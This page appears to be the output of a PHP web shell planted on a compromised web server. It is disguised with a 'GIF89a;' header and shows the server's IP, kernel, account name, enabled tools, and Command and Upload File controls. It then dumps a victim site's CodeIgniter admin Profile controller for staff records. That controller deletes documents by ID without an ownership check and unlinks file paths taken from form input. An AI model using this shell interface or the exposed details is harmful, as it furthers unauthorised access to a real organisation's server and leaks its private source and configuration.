GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.15.211.41 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/system/../application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to user profile. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Profile extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/StaffManagement'); $this->load->model('admin/LocationManagement'); $this->load->model('admin/BranchManagement'); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/RoleManagement'); $this->load->model('admin/MediaAndDocManagement'); $this->load->model('admin/SessionManagement'); $this->load->model('admin/IDProofManagement'); $this->load->model('admin/AchievementManagement'); $this->load->model('admin/DocumentManagement'); $this->load->model('admin/DocumentInfoManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result(); $viewData['branches'] = $this->BranchManagement->getAllNonDeletedBrances()->result(); $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result(); $viewData['profileInfo'] = $this->StaffManagement->getEmployeeInfoBy($this->session->userdata("adminData")["smember_id"])->result()[0]; $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "E")->result()[0]; $viewData['staffPANNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("adminData")["smember_id"], $PANInfo->tipsm_id)->result()[0]->tipi_number; $viewData['staffPANInfoId'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("adminData")["smember_id"], $PANInfo->tipsm_id)->result()[0]->tipi_id; $aadharInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "E")->result()[0]; $viewData['staffAadharNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("adminData")["smember_id"], $aadharInfo->tipsm_id)->result()[0]->tipi_number; $viewData['staffAadharInfoId'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("adminData")["smember_id"], $aadharInfo->tipsm_id)->result()[0]->tipi_id; $applicableDocuments = $this->DocumentManagement->getDocumentRelatedTo('E')->result(); $uploadedDocsInfo = array(); for ($i = 0; $i < sizeof($applicableDocuments); $i++) { if ($this->DocumentInfoManagement->isDocumentUploaded($this->session->userdata("adminData")["smember_id"], $applicableDocuments[$i]->doc_id, "E")) { $uploadedDocumentInfo = $this->DocumentInfoManagement->getUploadedDocumentOfEmployeeBy($this->session->userdata("adminData")["smember_id"], $applicableDocuments[$i]->doc_id)->result()[0]; $thisDocInfo = array( 'is_uploaded' => 1, 'tddi_id' => $uploadedDocumentInfo->tddi_id, 'doc_id' => $applicableDocuments[$i]->doc_id, 'doc_name' => $applicableDocuments[$i]->doc_name, 'file_name' => $uploadedDocumentInfo->tddi_doc_file_path ); } else { $thisDocInfo = array( 'is_uploaded' => 0, 'tddi_id' => -1, 'doc_id' => $applicableDocuments[$i]->doc_id, 'doc_name' => $applicableDocuments[$i]->doc_name, 'file_name' => '' ); } array_push($uploadedDocsInfo, $thisDocInfo); } $viewData['staffDocumentInfo'] = $uploadedDocsInfo; $viewData['ugcNETSubjects'] = json_decode(file_get_contents(base_url('assets/admin/json/ugcnetstreams.json')), true); $viewData['phdSubjects'] = json_decode(file_get_contents(base_url('assets/admin/json/phdsubjects.json')), true); if ($this->session->flashdata('primaryInfoTab') == NULL && $this->session->flashdata('contactInfoTab') == NULL && $this->session->flashdata('profileImageTab') == NULL && $this->session->flashdata('academicInfoTab') == NULL) { $this->session->set_flashdata('primaryInfoTab', 'active'); } $this->load->view('admin/profile', $viewData); } else { redirect("admin/"); } } public function updatePrimaryInfo() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('empFirstName', 'Your First Name', 'trim|required', array('required' => 'Your First Name Can Not Be Blank.')); $this->form_validation->set_rules('empGender', 'Your Gender', 'trim|required', array('required' => 'Please Select Your Gender.')); if ($this->form_validation->run() == FALSE) { $this->index(); } else { $employeePrimaryInfo = array( 'tprfl_id' => $this->input->post("tprflId"), 'tprfl_firstname' => addslashes(trim($this->input->post('empFirstName'))), 'tprfl_lastname' => addslashes(trim($this->input->post('empLastName'))), 'tprfl_gender' => $this->input->post('empGender'), 'tprfl_dob' => ($this->input->post('empDOB') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOB')))), 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeePANInfo = array( 'tipi_id' => trim($this->input->post('empPANInfoId')), 'tipi_number' => trim($this->input->post('empPAN')), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeAadharInfo = array( 'tipi_id' => trim($this->input->post('empAadharInfoId')), 'tipi_number' => trim($this->input->post('empAadhar')), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeIdProofs = array($employeePANInfo, $employeeAadharInfo); $this->session->set_flashdata('primaryInfoTab', 'active'); $this->session->set_flashdata('academicInfoTab', ''); $this->session->set_flashdata('contactInfoTab', ''); $this->session->set_flashdata('profileImageTab', ''); if ($this->StaffManagement->updateProfileInfo($employeePrimaryInfo) && $this->IDProofManagement->updateIDProofInfoMulti($employeeIdProofs)) { $this->session->set_flashdata('successMessage', 'Primary Info Updated Successfully. Updated Values Will Take Effect From Your Next Login.'); redirect("admin/Profile"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Primary Info. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function updateContactInfo() { if ($this->sessionvalidator->isLoggedIn()) { $tldId = $this->input->post('tldId'); $this->form_validation->set_rules('empMobile', 'Employee Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Your Mobile Is Required.')); $this->form_validation->set_rules('empEmail', 'Employee Email', 'trim|required|valid_email', array('required' => 'Your Email Is Required.')); if ($this->form_validation->run() == FALSE) { $this->index(); } else if (!$this->StaffManagement->isEmployeeEmailSafeUpdate($tldId, trim($this->input->post('empEmail')))) { $this->session->set_flashdata('errorMessage', "This Email (" . trim($this->input->post('empEmail')) . ") Is Already In Use. Please Choose A Different Email."); $this->index(); } else if (!$this->StaffManagement->isEmployeeMobileSafeUpdate($tldId, trim($this->input->post('empMobile')))) { $this->session->set_flashdata('errorMessage', "This Mobile (" . trim($this->input->post('empMobile')) . ") Is Already In Use. Please Try With Different Mobile."); $this->index(); } else { $employeeContactInfo = array( 'tprfl_id' => $this->input->post("tprflId"), 'tprfl_comm_state' => ($this->input->post('empCommState') == "") ? 0 : $this->input->post('empCommState'), 'tprfl_comm_city' => ($this->input->post('empCommCity') == "") ? 0 : $this->input->post('empCommCity'), 'tprfl_comm_full_address' => addslashes(trim($this->input->post('empCommFullAddress'))), 'tprfl_perma_state' => ($this->input->post('empPermaState') == "") ? 0 : $this->input->post('empPermaState'), 'tprfl_perma_city' => ($this->input->post('empPermaCity') == "") ? 0 : $this->input->post('empPermaCity'), 'tprfl_perma_full_address' => addslashes(trim($this->input->post('empPermaFullAddress'))), 'tprfl_mobile_no' => $this->input->post('empMobile'), 'tprfl_tel_no' => $this->input->post('empTelNo'), 'tprfl_email' => $this->input->post('empEmail'), 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->session->set_flashdata('primaryInfoTab', ''); $this->session->set_flashdata('academicInfoTab', ''); $this->session->set_flashdata('contactInfoTab', 'active'); $this->session->set_flashdata('profileImageTab', ''); if ($this->StaffManagement->updateProfileInfo($employeeContactInfo)) { $this->session->set_flashdata('successMessage', 'Contact Info Updated Successfully.'); redirect("admin/Profile"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Contact Info. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function updateProfilePhoto() { if ($this->sessionvalidator->isLoggedIn()) { $empCurrentProfileImageFileName = substr($this->input->post('profilePhoto'), strripos($this->input->post('profilePhoto'), "/") + 1); if (!empty($_FILES['empPhotograph']['name'])) { $empImageNameWithPath = ""; $configEmpImgUpdate['upload_path'] = './assets/admin/images/ext_users/'; $configEmpImgUpdate['allowed_types'] = 'jpeg|jpg|png|webp'; $configEmpImgUpdate['max_size'] = '1024'; $configEmpImgUpdate['file_ext_tolower'] = TRUE; $configEmpImgUpdate['encrypt_name'] = TRUE; $this->load->library('upload', $configEmpImgUpdate); if (!$this->upload->do_upload('empPhotograph')) { $this->session->set_flashdata('errorMessage', "Uploading Failed !! Image Violates Profile Image Criteria. File Size 1MB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp."); $this->index(); } else { $empImageNameWithPath = "/assets/admin/images/ext_users/" . $this->upload->data()['file_name']; $employeeProfilePicInfo = array( 'tddi_id' => $this->input->post('mediaId'), 'tddi_doc_file_path' => $empImageNameWithPath, 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->session->set_flashdata('primaryInfoTab', ''); $this->session->set_flashdata('academicInfoTab', ''); $this->session->set_flashdata('contactInfoTab', ''); $this->session->set_flashdata('profileImageTab', 'active'); if ($this->MediaAndDocManagement->updateMediaAndDoc($employeeProfilePicInfo)) { if (file_exists("./assets/admin/images/ext_users/" . $empCurrentProfileImageFileName) && ($empCurrentProfileImageFileName != "default.png")) { unlink("./assets/admin/images/ext_users/" . $empCurrentProfileImageFileName); } $this->session->set_flashdata('successMessage', 'Profile Image Updated Successfully. Updated Image Will Take Effect From Your Next Login.'); redirect("admin/Profile"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Profile Image. Try Later.'); redirect(current_url()); } } } else { $this->session->set_flashdata('successMessage', 'Nothing To Update.'); redirect("admin/Profile"); } } else { redirect("admin/"); } } public function updateEducationalQualificationInfo() { if ($this->sessionvalidator->isLoggedIn()) { $seqiId = $this->input->post('seqi_id'); $employeeEducationalQualificationInfo = array( 'seqi_id' => $seqiId, 'seqi_pg_course' => addslashes(trim($this->input->post('pgCourseName'))), 'seqi_pg_passing_year' => $this->input->post('pgPassingYear'), 'seqi_pg_university' => addslashes(trim($this->input->post('pgUniversity'))), 'seqi_net_status' => $this->input->post('ugcNETStatus'), 'seqi_net_ugc_ref_no' => addslashes(trim($this->input->post('ugcNETRefNo'))), 'seqi_net_roll_no' => addslashes(trim($this->input->post('ugcNETRollNo'))), 'seqi_net_stream' => addslashes(trim($this->input->post('ugcNETSubjectStream'))), 'seqi_net_quali_year' => $this->input->post('ugcNETQualiYear'), 'seqi_phd_status' => $this->input->post('phdStatus'), 'seqi_phd_enroll_no' => addslashes(trim($this->input->post('phdEnrollNo'))), 'seqi_phd_date' => ($this->input->post('phdEnrollDate') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('phdEnrollDate')))), 'seqi_phd_year' => $this->input->post('phdQualiYear'), 'seqi_phd_university' => addslashes(trim($this->input->post('phdUniversity'))), 'seqi_phd_stream' => addslashes(trim($this->input->post('phdSubjectStream'))), 'seqi_oth_course' => addslashes(trim($this->input->post('othCourseName'))), 'seqi_oth_roll_no' => $this->input->post('othRollNo'), 'seqi_oth_passing_year' => addslashes(trim($this->input->post('othPassingYear'))), 'seqi_oth_university' => addslashes(trim($this->input->post('othUniversity'))), 'seqi_updated_on' => date("Y-m-d H:i:s") ); $this->session->set_flashdata('primaryInfoTab', ''); $this->session->set_flashdata('academicInfoTab', 'active'); $this->session->set_flashdata('contactInfoTab', ''); $this->session->set_flashdata('profileImageTab', ''); if ($this->StaffManagement->updateEducationalQualificationInfo($employeeEducationalQualificationInfo)) { $this->session->set_flashdata('successMessage', 'Educational Qualifications Info Updated Successfully.'); redirect("admin/Profile"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Educational Qualifications Info. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function updateEducationalQualifications() { if ($this->sessionvalidator->isLoggedIn()) { $ifUploaded = 0; $submittedDocuments = $this->input->post('empDocumentFileId'); $docInfoIds = $this->input->post('docInfoId'); $docPrevFile = $this->input->post('docPrevFile'); $staffDocumentInfoCreate = array(); $staffDocumentInfoUpdate = array(); for ($i = 0; $i < sizeof($submittedDocuments); $i++) { if ($docInfoIds[$i] == "-1" || $docInfoIds[$i] == -1) { $doc_id = $submittedDocuments[$i]; $thisFileInputName = "empDocumentFile" . $doc_id; if (!empty($_FILES[$thisFileInputName]['name'])) { $ifUploaded++; $staffDocFile['upload_path'] = './assets/admin/uploads/staffData/'; $staffDocFile['allowed_types'] = 'pdf|jpeg|jpg|png'; $staffDocFile['max_size'] = '3072'; $staffDocFile['file_ext_tolower'] = TRUE; $staffDocFile['encrypt_name'] = TRUE; $this->load->library('upload', $staffDocFile); if (!$this->upload->do_upload($thisFileInputName)) { $this->session->set_flashdata('errorMessage', "Any Of The Uploaded Document File Violates Document Upload File Criteria. File Size 3 MB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.pdf."); $this->index(); } else { $thisDocumentInfo = array( 'tddi_doc_id' => $submittedDocuments[$i], 'tddi_doc_file_path' => "/assets/admin/uploads/staffData/" . $this->upload->data()['file_name'], 'tddi_code' => $submittedDocuments[$i], 'tddi_user_type_flag' => 'E', 'tddi_mapping_id' => $this->session->userdata("adminData")["smember_id"], 'tddi_semester' => 'NA', 'ucs_map_id' => 'NA', 'tddi_added_on' => date("Y-m-d H:i:s"), 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_added_by' => $this->session->userdata("adminData")["smember_id"], 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); array_push($staffDocumentInfoCreate, $thisDocumentInfo); } } } else { $doc_id = $submittedDocuments[$i]; $thisFileInputName = "empDocumentFile" . $doc_id; if (!empty($_FILES[$thisFileInputName]['name'])) { $ifUploaded++; $staffDocFile['upload_path'] = './assets/admin/uploads/staffData/'; $staffDocFile['allowed_types'] = 'pdf|jpeg|jpg|png'; $staffDocFile['max_size'] = '3072'; $staffDocFile['file_ext_tolower'] = TRUE; $staffDocFile['encrypt_name'] = TRUE; $this->load->library('upload', $staffDocFile); if (!$this->upload->do_upload($thisFileInputName)) { $this->session->set_flashdata('errorMessage', "Any Of The Uploaded Document File Violates Document Upload File Criteria. File Size 3 MB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.pdf."); $this->index(); } else { $thisDocumentInfo = array( 'tddi_id' => $docInfoIds[$i], 'tddi_doc_file_path' => "/assets/admin/uploads/staffData/" . $this->upload->data()['file_name'], 'tddi_mapping_id' => $this->session->userdata("adminData")["smember_id"], 'ucs_map_id' => trim($this->input->post('stuEntryType')), 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if (file_exists("." . trim($docPrevFile[$i]))) { unlink(trim("." . $docPrevFile[$i])); } array_push($staffDocumentInfoUpdate, $thisDocumentInfo); } } } } $this->session->set_flashdata('primaryInfoTab', ''); $this->session->set_flashdata('academicInfoTab', 'active'); $this->session->set_flashdata('contactInfoTab', ''); $this->session->set_flashdata('profileImageTab', ''); if (sizeof($staffDocumentInfoCreate)) { $this->DocumentInfoManagement->createNewDocumentInfoMulti($staffDocumentInfoCreate); } if (sizeof($staffDocumentInfoUpdate)) { $this->DocumentInfoManagement->updateStudentDocumentInfoMulti($staffDocumentInfoUpdate); } if ($ifUploaded) { $this->session->set_flashdata('successMessage', 'Educational Qualification Files Uploaded Successfully.'); redirect("admin/Profile/"); } else { $this->session->set_flashdata('errorMessage', 'Nothing To Upload. Please Select A File To Upload.'); redirect("admin/Profile/"); } } else { redirect("admin/"); } } public function deleteStaffDocument($tddi_id) { if ($this->sessionvalidator->isLoggedIn()) { $documentInfo = $this->DocumentInfoManagement->getDocumentInfoBy($tddi_id)->result()[0]; if (file_exists("." . $documentInfo->tddi_doc_file_path)) { unlink("." . $documentInfo->tddi_doc_file_path); $this->DocumentInfoManagement->deleteDocumentInfoEntryBy($tddi_id); } else { $this->DocumentInfoManagement->deleteDocumentInfoEntryBy($tddi_id); } $this->session->set_flashdata('successMessage', 'Document Deleted Successfully.'); redirect("admin/Profile/"); } else { redirect("admin/"); } } /* Request Handlers For Achievement Module */ public function myAchievements() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['myAchievements'] = $this->AchievementManagement->getAllAchievementsBy($this->session->userdata("adminData")["smember_id"], "E", "F")->result(); $this->load->view('admin/achievements', $viewData); } else { redirect("admin/"); } } public function createAchievement() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads('E')->result(); $this->load->view('admin/createAchievement', $viewData); } else { redirect("admin/"); } } public function saveNewAchievement() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('achvTitle', 'Achievement Title', 'trim|required', array('required' => 'Please Enter Achievement Title.')); $this->form_validation->set_rules('achvHead', 'Achievement Head', 'trim|required', array('required' => 'Please Select Any Achievement Head.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('achvDesc', 'Achievement Description', 'trim|required', array('required' => 'Description Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->createAchievement(); } else { if (empty($_FILES['achvFile']['name'])) { $newAchievementInfo = array( 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'object_id' => $this->session->userdata("adminData")["smember_id"], 'object_type' => "E", 'sam_added_on' => date("Y-m-d H:i:s"), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->createNewAchievement($newAchievementInfo)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Saved Successfully.'); redirect("admin/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Your Achievement. Try Later.'); redirect(current_url()); } } else { $achievementFileNameWithPath = ""; $configAchievementFile['upload_path'] = './assets/admin/uploads/achievements/'; $configAchievementFile['allowed_types'] = 'pdf'; $configAchievementFile['max_size'] = '2048'; $configAchievementFile['file_ext_tolower'] = TRUE; $configAchievementFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAchievementFile); if (!$this->upload->do_upload("achvFile")) { $this->session->set_flashdata('errorMessage', 'The File Can Not Be Uploaded As It Violates The Upload Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf.'); $this->createAchievement(); } else { $achievementFileNameWithPath = "/assets/admin/uploads/achievements/" . $this->upload->data()['file_name']; $newAchievementInfo = array( 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'object_id' => $this->session->userdata("adminData")["smember_id"], 'object_type' => "E", 'sam_file' => $achievementFileNameWithPath, 'sam_added_on' => date("Y-m-d H:i:s"), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->createNewAchievement($newAchievementInfo)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Saved Successfully.'); redirect("admin/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Your Achievement. Try Later.'); redirect(current_url()); } } } } } else { redirect("admin/"); } } public function editAchievement($sam_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads()->result(); $viewData['achievementInfo'] = $this->AchievementManagement->getAchievementBy($sam_id)->result()[0]; $this->load->view('admin/editAchievement', $viewData); } else { redirect("admin/"); } } public function updateAchievement() { if ($this->sessionvalidator->isLoggedIn()) { $sam_id = $this->input->post('achvId'); $this->form_validation->set_rules('achvTitle', 'Achievement Title', 'trim|required', array('required' => 'Please Enter Achievement Title.')); $this->form_validation->set_rules('achvHead', 'Achievement Head', 'trim|required', array('required' => 'Please Select Any Achievement Head.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('achvDesc', 'Achievement Description', 'trim|required', array('required' => 'Description Can Not Be Blank.')); $achievementCurrentFileName = substr($this->input->post('currentAchievementFile'), strripos($this->input->post('currentAchievementFile'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->editAchievement($sam_id); } else { if (empty($_FILES['achvFile']['name'])) { $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Updated Successfully.'); redirect("admin/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Achievement. Try Later.'); redirect(current_url()); } } else { $achievementFileNameWithPath = ""; $configAchievementFile['upload_path'] = './assets/admin/uploads/achievements/'; $configAchievementFile['allowed_types'] = 'pdf'; $configAchievementFile['max_size'] = '2048'; $configAchievementFile['file_ext_tolower'] = TRUE; $configAchievementFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAchievementFile); if (!$this->upload->do_upload("achvFile")) { $this->session->set_flashdata('errorMessage', 'The File Can Not Be Uploaded As It Violates The Upload Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf.'); $this->editAchievement($sam_id); } else { if (file_exists("./assets/admin/uploads/achievements/" . $achievementCurrentFileName)) { unlink("./assets/admin/uploads/achievements/" . $achievementCurrentFileName); } $achievementFileNameWithPath = "/assets/admin/uploads/achievements/" . $this->upload->data()['file_name']; $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'sam_file' => $achievementFileNameWithPath, 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Updated Successfully.'); redirect("admin/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Achievement. Try Later.'); redirect(current_url()); } } } } } else { redirect("admin/"); } } public function deleteAchievement($sam_id) { if ($this->sessionvalidator->isLoggedIn()) { $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_updated_on' => date("Y-m-d H:i:s"), 'sam_delete_status' => 'T' ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Achievement Deleted Successfully.'); redirect("admin/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Achievement. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } }